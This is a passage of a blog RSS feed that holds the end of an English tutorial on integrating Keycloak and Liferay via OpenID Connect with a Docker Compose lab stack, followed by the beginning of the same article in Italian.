    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 23 - Diagram of the stack of services configured via Docker Compose&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;The Keycloak and Liferay portal services are configured to be accessible
through Traefik on the https port and on the respective FQDNs indicated below:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://iam.smc.lab.local&quot;&gt;iam.smc.lab.local&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://portal.smc.lab.local&quot;&gt;portal.smc.lab.lacal&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The steps needed to run the entire stack are:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Check the Docker version (Docker Engine 20.10.x, Docker Compose 2.0.x)&lt;/li&gt;&lt;li&gt;Clone the keycloak-openid-connect-liferay repository&lt;/li&gt;&lt;li&gt;Update the hosts file (of the host machine) with the entries for Keycloak and Liferay&lt;/li&gt;&lt;li&gt;Starting the stack via Docker Compose&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Regarding the Docker version, we made use of
&lt;a href=&quot;https://hub.docker.com/editions/community/docker-ce-desktop-mac&quot;&gt;Docker for this article Desktop for macOS&lt;/a&gt;
version 4.1.0 (which includes Docker Engine 20.10.8 and Docker Compose 2.0.0).&lt;/p&gt;&lt;p&gt;I still ran a test using Docker on Linux. Same version of Docker
used on macOS but with a lower Docker Compose version, that is, 1.28.6.
I didn&amp;#x27;t encounter any problems, the services stack was fine
pulled up.&lt;/p&gt;&lt;p&gt;I was unable to test on Windows; I leave it to some of you to run
this proof.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 1 - Check Docker version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker-compose version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 2 - Clone the project git repository&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git clone https://github.com/smclab/keycloak-openid-connect-liferay.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 3 - Update the /etc/hosts with this content&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;127.0.0.1   iam.smc.lab.local&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;127.0.0.1   portal.smc.lab.local&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 4 - Start the Docker Compose stack services&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker-compose --env-file env/development.env up&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 1 - Starting the service stack via Docker Compose&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;The time it takes for the services to be all operational varies and depends
largely from the availability of the resources of the machine it is on
Docker execution and how many of these have been assigned to Docker itself.&lt;/p&gt;&lt;p&gt;In this specific case I have assigned the following resources to Docker: CPUx2, 8GByte
of RAM memory, 1GByte of Swap and 10GByte of storage. These are the resources
minimum to have a &amp;quot;usable&amp;quot; environment. I ran a test with 6GBytes of
RAM memory, the stack &amp;quot;holds up&amp;quot; even if it works with difficulty.&lt;/p&gt;&lt;p&gt;To give you an idea of ​​the star-up times (excluding image pull times),
on my MacBook Pro 2.5 GHz Intel Core i7 dual-core, 16 GB 2133 MHz LPDDR3, the
star-up time is about six minutes, for the first start, time that goes down
about 3.5 minutes from the second start.&lt;/p&gt;&lt;p&gt;The start-up times on my &lt;a href=&quot;https://www.dontesta.it/2021/05/23/la-mia-workstation-di-sviluppo-da-smart-worker/&quot;&gt;&lt;em&gt;Linux Workstation&lt;/em&gt;&lt;/a&gt;
they are decidedly inferior. The first start 1.15 minutes, from the second start onwards
1.02 minutes.&lt;/p&gt;&lt;p&gt;Once the services are all up, the environment is ready to be configured
as we have seen in the course of this article. A quick way to
checking that the services of our interest are on, is to connect
to the Traefik console at http://localhost:9080/dashboard. The figures a
follow shows the status of Keycloak and Liferay services.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/1597b54cd21e7ed40072ec313ac8ec3d/d9ed5/dashboard-traefik-services.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:46.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;186\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20186\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2011v11h401V0H0v11m12%20129v5h10v-10l-5-1h-5v6\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/1597b54cd21e7ed40072ec313ac8ec3d/c85cb/dashboard-traefik-services.webp 300w,/static/1597b54cd21e7ed40072ec313ac8ec3d/e88ff/dashboard-traefik-services.webp 600w,/static/1597b54cd21e7ed40072ec313ac8ec3d/92f8c/dashboard-traefik-services.webp 1200w,/static/1597b54cd21e7ed40072ec313ac8ec3d/62ed8/dashboard-traefik-services.webp 1800w,/static/1597b54cd21e7ed40072ec313ac8ec3d/46261/dashboard-traefik-services.webp 2400w,/static/1597b54cd21e7ed40072ec313ac8ec3d/d3d72/dashboard-traefik-services.webp 2880w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/1597b54cd21e7ed40072ec313ac8ec3d/5a46d/dashboard-traefik-services.png 300w,/static/1597b54cd21e7ed40072ec313ac8ec3d/0a47e/dashboard-traefik-services.png 600w,/static/1597b54cd21e7ed40072ec313ac8ec3d/c1b63/dashboard-traefik-services.png 1200w,/static/1597b54cd21e7ed40072ec313ac8ec3d/d61c2/dashboard-traefik-services.png 1800w,/static/1597b54cd21e7ed40072ec313ac8ec3d/97a96/dashboard-traefik-services.png 2400w,/static/1597b54cd21e7ed40072ec313ac8ec3d/d9ed5/dashboard-traefik-services.png 2880w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 24 - Status of services from the Traefik dashboard&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/1597b54cd21e7ed40072ec313ac8ec3d/c1b63/dashboard-traefik-services.png&quot; title=&quot;Figure 24 - Status of services from the Traefik dashboard&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 24 - Status of services from the Traefik dashboard&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c8b6f6fcb255aefaefab49982104b216/81a70/dashboard-traefik-services-details.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:62.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;250\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20250\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%209v9h401V0H0v9\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/c8b6f6fcb255aefaefab49982104b216/c85cb/dashboard-traefik-services-details.webp 300w,/static/c8b6f6fcb255aefaefab49982104b216/e88ff/dashboard-traefik-services-details.webp 600w,/static/c8b6f6fcb255aefaefab49982104b216/92f8c/dashboard-traefik-services-details.webp 1200w,/static/c8b6f6fcb255aefaefab49982104b216/62ed8/dashboard-traefik-services-details.webp 1800w,/static/c8b6f6fcb255aefaefab49982104b216/46261/dashboard-traefik-services-details.webp 2400w,/static/c8b6f6fcb255aefaefab49982104b216/855ae/dashboard-traefik-services-details.webp 2616w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/c8b6f6fcb255aefaefab49982104b216/5a46d/dashboard-traefik-services-details.png 300w,/static/c8b6f6fcb255aefaefab49982104b216/0a47e/dashboard-traefik-services-details.png 600w,/static/c8b6f6fcb255aefaefab49982104b216/c1b63/dashboard-traefik-services-details.png 1200w,/static/c8b6f6fcb255aefaefab49982104b216/d61c2/dashboard-traefik-services-details.png 1800w,/static/c8b6f6fcb255aefaefab49982104b216/97a96/dashboard-traefik-services-details.png 2400w,/static/c8b6f6fcb255aefaefab49982104b216/81a70/dashboard-traefik-services-details.png 2616w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 25 - Details of the liferay@docker service&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/c8b6f6fcb255aefaefab49982104b216/c1b63/dashboard-traefik-services-details.png&quot; title=&quot;Figura 25 - Details of the liferay@docker service&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 25 - Details of the liferay@docker service&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;The access credentials for the various services are indicated below:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Keycloak (login credentials to the administration console): &lt;em&gt;admin/Pa55w0rd&lt;/em&gt;&lt;/li&gt;&lt;li&gt;Liferay (login credentials as administrator): &lt;em&gt;test/test&lt;/em&gt;&lt;/li&gt;&lt;li&gt;LDAP (login credentials as administrator): &lt;em&gt;cn=admin,dc=smc,dc=local/admin&lt;/em&gt;&lt;/li&gt;&lt;li&gt;LDAP (read-only login credentials): &lt;em&gt;cn=readonly,dc=smc,dc=local/readonly&lt;/em&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The &lt;a href=&quot;https://it.wikipedia.org/wiki/LDAP_Data_Interchange_Format&quot;&gt;LDAP Data Interchange Format&lt;/a&gt; file
&lt;a href=&quot;https://github.com/smclab/keycloak-openid-connect-liferay/blob/master/config/ldap/bootstrap.ldif&quot;&gt;config/ldap/bootstrap.ldif&lt;/a&gt;
(available on the repository) contains the entire directory structure of the
LDAP service. The password for all users is: &lt;em&gt;test&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Liferay Configuration Tips&lt;/strong&gt;: You should notice that the Liferay portal results
already configured for the OpenID Connect part, the only thing to review is the
client secret (generated on Keycloak) that you should update.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Keycloak Configuration Tips&lt;/strong&gt;: Keycloak does not appear to be configured, you should
arrange to do so as described in the article, or,
you could load the configuration from the json file [realm-export-smc-lab-local-realm.json](&lt;a href=&quot;https://github.com/smclab/keycloak-openid-connect-liferay/blob/master/config/keycloak/export&quot;&gt;https://github.com/smclab/keycloak-openid-connect-liferay/blob/master/config/keycloak/export&lt;/a&gt; /realm-export-smc-lab-local-realm.json)
available within the repository (config/keycloak/export directory). In
case of the second option, remember that you should then regenerate the client secret
and re-enter the login password for the LDAP service.&lt;/p&gt;&lt;h2 id=&quot;7---conclusions&quot;&gt;7 - Conclusions&lt;/h2&gt;&lt;p&gt;Welcome to the end! For beings who have come to the end of reading this
article, I&amp;#x27;m pretty sure you&amp;#x27;ve just found yourself in the situation
described or that you are about to have to undertake this activity.&lt;/p&gt;&lt;p&gt;I have found myself several times in this situation, and the path I wanted to indicate
with this article it is the one that I consider most advantageous, especially in terms
of effort.&lt;/p&gt;&lt;p&gt;How did you approach this issue? Let&amp;#x27;s discuss it together.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk3 { color: #6A9955; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Come connettere Keycloak e Liferay via OpenID Connect]]></title><link>https://techblog.smc.ithow-to-connect-keycloak-liferay-openid-connect</link><guid isPermaLink="false">https://techblog.smc.ithow-to-connect-keycloak-liferay-openid-connect</guid><pubDate>Fri, 15 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In questi ultimi anni si sta affermando sempre di più il protocollo di autenticazione
&lt;a href=&quot;https://openid.net/connect/&quot;&gt;OpenID Connect (OIDC)&lt;/a&gt;, basato su &lt;a href=&quot;https://oauth.net/2/&quot;&gt;OAuth2&lt;/a&gt;,
per offrire l&amp;#x27;accesso in modo sicuro a applicazioni e API (Application
Programming Interface).&lt;/p&gt;&lt;p&gt;In questo articolo vedremo come intraprendere una corretta configurazione di
&lt;a href=&quot;https://www.keycloak.org/&quot;&gt;Keycloak&lt;/a&gt; e &lt;a href=&quot;https://www.liferay.com&quot;&gt;Liferay&lt;/a&gt; al fine
di abilitare il processo di autenticazione degli utenti sfruttando il protocollo
OpenID Connect. Desidero sottolineare il fatto che l&amp;#x27;articolo non è
una guida all&amp;#x27;installazione di Liferay e Keycloak.&lt;/p&gt;&lt;p&gt;Per la comprensione di quanto descritto nel corso dell&amp;#x27;articolo è richiesta una
buona conoscenza degli aspetti amministrativi sia di Liferay sia di Keycloak, oltre
a una conoscenza di base dei sistemi di &lt;a href=&quot;https://it.wikipedia.org/wiki/Single_sign-on&quot;&gt;SSO (Single Sign-On)&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Come di consueto lascerò il &lt;strong&gt;bonus di fine articolo&lt;/strong&gt;, ovvero, il riferimento GitHub
del progetto che consentirà a voi di ricreare lo scenario che andremo a descrivere.&lt;/p&gt;&lt;h2 id=&quot;1---requisiti&quot;&gt;1 - Requisiti&lt;/h2&gt;&lt;p&gt;Le versioni di riferimento di Liferay e Keycloak che prenderemo in considerazione
sono rispettivamente la 7.3 GA6 e 15.0.2 (rilasciata il 20 agosto 2021).&lt;/p&gt;&lt;p&gt;Affinché sia possibile portare a termine con successo la configurazione dell&amp;#x27;integrazione
tra Keycloak e Liferay, occorre che siano disponibili un&amp;#x27;istanza di Liferay e
un&amp;#x27;istanza di Keycloak.&lt;/p&gt;&lt;p&gt;Per le attività di configurazione di Liferay e Keycloak è necessario disporre
delle credenziali di accesso e che queste abbiano un ruolo di amministratore
per entrambe i sistemi.&lt;/p&gt;&lt;p&gt;Il diagramma della figura a seguire mostra ad alto livello lo scenario d&amp;#x27;integrazione
che andremo a realizzare e quali sono i protocolli utilizzati.
Il componente LDAP è stato inserito ma è del tutto opzionale,
&lt;strong&gt;lo troverete però all&amp;#x27;interno del bonus&lt;/strong&gt;.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/a2bea28e80b71fdab3ed6582ae6ab936/93445/scenario-integrazione-keycloak-liferay-via-openid-connect.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:50.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;201\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20201\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M72%2015c-2%201-3%203-2%206l-1%204c-2%202-3%204-3%208v5h7v48H4l-1%2017v17h3l71%201h68v-9l1-8%201%201h1a88%2088%200%200136%202h1l6-1c8%200%208%200%208-2s-2-4-4-3h-14c-2%202-31%201-32%200h-2c-2%201-2%200-2-7v-8l-34-1-34-1-1-2-1-20c0-18%200-20%202-20l-1-2c-1-1-1-2%202-2%204%200%204%200%204-5s0-6-2-8l-1-3c2-3-3-8-7-7m-2%2012l-2%206v4h13l-1-5-1-5c-2-3-8-2-9%200m185%2067c0%207%200%208-2%207h-2a91%2091%200%2001-31%200l-8%201-7%201-2%201%201-2v-2c-2%200-3%201-3%203%200%203%200%203%204%203l4-1h1c1%202%2012%201%2012-1h1c0%202%205%202%206%201h25c1-1%201%200%201%207l1%209h34c33%200%2037%200%2034%202v1c3%201%204%200%204-2-1-1%202-1%2031-1l35-1h3V86l-71-1h-71v9M31%20118l53%201%2053-1H31m307%2022l-3%201h-4l-8-1c-3%200-3%200-3%202%200%203%200%203%203%203l4%201h2l8-1%208-1h1l1%202v1l1-1%204-1c4-1%204-3%200-4l-4%201h-1l-3-1-5-1h-1m-14%2019v2l1%202h-70v35h142v-35h-70v-2c1-3-1-3-3-2m-67%2022v15h69a313%20313%200%200068-2l-1-1%201-1%201-8v-9h-11l1-1%201-1-1-6%201-1c1-1-3-1-30-1l-31%201h-1l-1-1v5c1-5-1-5-34-5h-32v16m73-12l-1%202-4%201c1%201%200%202-2%202l-2-2-2%203-2%204v-4c0-2%200-3-1-2a60%2060%200%2001-2%207l-3%202-4%201h-4l-2-1-1-3-1%202v2l-2-2c-1-1-1-1-2%201s-1%202-2%201c0-3-2-1-2%202%200%202%202%207%202%204l2-1v3h5c1%201%201%201%201-1%200-1%201-2%203-2%203%200%205%202%202%202s0%202%203%202%203%200%202-2c-1-1-1-1%201-1h1l-1-2h1c1%201%202%202%203%201l3%201c0%202%205%203%207%201l-1-1h-2%206l2-1v1c-2%201-2%202%202%202%203%200%204-1%205-2h2l1%201c0-2%203-3%203-1h1c0-2%203-1%204%201l2%202-1-2c-1-1%200-2%203-2%204%200%205%200%205%202h1l2-2%201-1-1-1-1-2c0-2%200-2-2-2-2%201-3%201-3-1l-2-1v3h-3l-1-1-2%202c0%201-1%201-3-1-2-3-2-3-2-1%201%201%201%202-1%202l-1-2v-2l-1%201-3-3c-1-1-1-1-1%201l2%202%201%203c0%202%200%202-1%201-1-3-3-5-4-3l-1%201v-3c1-1%202-2%201-3l1-1v-3c1-1%201-1-1-2l-2-2h-1m-60%204l-2%204h-1c-1-2-2-1-1%202l-3%207c-3%204-4%205-2%205l1-2c1-1%201-1%201%201l1%202%201-1c-1-2%202-2%206-1h1c-1-1%200-1%205-1%206%201%208-1%205-4l-2-3-1-1v-2l1-3-2%202-1%202v-2l-3-5-2-2-2%202m23%2021\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/a2bea28e80b71fdab3ed6582ae6ab936/c85cb/scenario-integrazione-keycloak-liferay-via-openid-connect.webp 300w,/static/a2bea28e80b71fdab3ed6582ae6ab936/e88ff/scenario-integrazione-keycloak-liferay-via-openid-connect.webp 600w,/static/a2bea28e80b71fdab3ed6582ae6ab936/92f8c/scenario-integrazione-keycloak-liferay-via-openid-connect.webp 1200w,/static/a2bea28e80b71fdab3ed6582ae6ab936/62ed8/scenario-integrazione-keycloak-liferay-via-openid-connect.webp 1800w,/static/a2bea28e80b71fdab3ed6582ae6ab936/46261/scenario-integrazione-keycloak-liferay-via-openid-connect.webp 2400w,/static/a2bea28e80b71fdab3ed6582ae6ab936/8dd37/scenario-integrazione-keycloak-liferay-via-openid-connect.webp 3246w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/a2bea28e80b71fdab3ed6582ae6ab936/f93b5/scenario-integrazione-keycloak-liferay-via-openid-connect.jpg 300w,/static/a2bea28e80b71fdab3ed6582ae6ab936/b4294/scenario-integrazione-keycloak-liferay-via-openid-connect.jpg 600w,/static/a2bea28e80b71fdab3ed6582ae6ab936/e5166/scenario-integrazione-keycloak-liferay-via-openid-connect.jpg 1200w,/static/a2bea28e80b71fdab3ed6582ae6ab936/d9c39/scenario-integrazione-keycloak-liferay-via-openid-connect.jpg 1800w,/static/a2bea28e80b71fdab3ed6582ae6ab936/df51d/scenario-integrazione-keycloak-liferay-via-openid-connect.jpg 2400w,/static/a2bea28e80b71fdab3ed6582ae6ab936/93445/scenario-integrazione-keycloak-liferay-via-openid-connect.jpg 3246w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figura 1 - Liferay come SSO client (o meglio Service Provider) via OpenID Connect&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/a2bea28e80b71fdab3ed6582ae6ab936/e5166/scenario-integrazione-keycloak-liferay-via-openid-connect.jpg&quot; title=&quot;Figura 1 - Liferay come SSO client (o meglio Service Provider) via OpenID Connect&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 1 - Liferay come SSO client (o meglio Service Provider) via OpenID Connect&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Gli FQDN (Fully Qualified Domain Name) riportati sui componenti dello scenario
d&amp;#x27;integrazione sono a titolo esemplificativo.&lt;/p&gt;&lt;p&gt;È importante ricordare che affinché la configurazione vada a buon fine è indispensabile
che i sistemi coinvolti possano comunicare tra loro attraverso i protocolli
richiesti (https e ldaps), inoltre, in ambienti SSL/TLS devono essere correttamente
impostati i &lt;a href=&quot;https://www.dontesta.it/it/2011/05/02/importazione-certificati-ssl-sul-java-keystore-jks/&quot;&gt;TrustStore&lt;/a&gt;.
Tale precisazione serve a evitare di incorrere in fastidiosi
errori (es. validazione della catena di certificazione X509).&lt;/p&gt;&lt;h2 id=&quot;2---configurazione-di-keycloak&quot;&gt;2 - Configurazione di Keycloak&lt;/h2&gt;&lt;p&gt;La prima attività da compiere è quella di configurazione dell’istanza di Keycloak.
Quest’operazione richiede diversi step che sono indicati a seguire.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Creazione di un Realm specifico&lt;/li&gt;&lt;li&gt;Creazione di un client OpenID Connect&lt;/li&gt;&lt;li&gt;Creazione di un Identity Provider (o IdP) OpenID Connect&lt;/li&gt;&lt;li&gt;Creazione utente demo (opzionale nel caso abbiate configurato un servizio LDAP)&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Assumiamo quindi che l’istanza Keycloak sia operativa e accediamo al pannello di
amministrazione utilizzando le credenziali di amministrazione. Per questo
scenario ipotizziamo che l’istanza di Keycloak sia disponibile all’indirizzo
&lt;a href=&quot;https://iam.smc.lab.local/&quot;&gt;https://iam.smc.lab.local/&lt;/a&gt; (vedi figura a seguire).&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ab35c325eaa84def8331d5241d2bef26/fb4e7/accesso-console-amministrazione-keycloak.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:55.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;222\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20222\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%20111v111h401V0H0v111m0%201a1599%201599%200%20002%2060l3%201%207%202%205%201%2013%201%2013%201h9l12-1%205-1%201%209%201%2010h54l4%203%204%203%201%201c0%202%201%202%202%202l18-2%2016-2%207%203%2029%209%2015-6%2017-5%206-3%205-3a808%20808%200%200028%204c-1-2-1-2%206-2%205%201%207%200%208-1l20-1h19v-7l1-5c0%202%201%202%205%202l9%201c2%200%203%200%204-3%201-2%202-3%204-2%203%200%206-1%2014-5l10-6%205%202c6%202%2015%203%2015%201l1%203%201-74V23H1V12L0%20112m168%20109\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
